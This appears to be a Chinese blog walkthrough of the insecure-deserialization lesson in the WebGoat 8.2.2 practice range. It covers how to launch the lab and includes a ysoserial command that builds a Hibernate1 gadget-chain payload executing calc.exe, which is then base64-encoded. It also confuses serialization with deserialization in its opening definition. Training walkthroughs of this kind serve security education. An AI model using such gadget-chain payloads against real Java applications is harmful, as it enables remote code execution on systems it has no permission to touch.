WebGoat-8.2.2靶场之不安全的反序列化漏洞

科技资讯 投稿 7300 0 评论

WebGoat-8.2.2靶场之不安全的反序列化漏洞

前言

反序列化就是把一个对象变成可以传输的字符串,目的就是为了方便传输
而反序列化漏洞就是,假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的,那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

靶场环境

WebGoat-8.2.2靶场

环境搭建

java -version //查看java版本
java15  //切换java15环境

//不懂切换的老铁可以参考以下链接
https://www.cnblogs.com/BlogVice-2203/p/17037847.html

java -jar webgoat-server-8.2.2.jar --server.port=8080 --server.addres=0.0.0.0   //启动靶场,且靶场的端口为8080
如果不写--server.port=8080 --server.addres=0.0.0.0 会默认使用靶场的9001端口

java反序列化漏洞复现

java -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 calc.exe >payload1.bin   
注:-Dhibernate5对应我们要使用的hibernate-core-5.4.28.Final.jar主键,ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload是用来生成payload,Hibernate1是ysoserial程序的一个加密模块,calc.exe >payload1.bin是将calc.exe执行程序写入到payload1.bin文件

python java_base64.py  //将payload1.bin进行base64编码

编程笔记 » WebGoat-8.2.2靶场之不安全的反序列化漏洞

赞同 (36) or 分享 (0)
游客 发表我的评论   换个身份
取消评论

表情
(0)个小伙伴在吐槽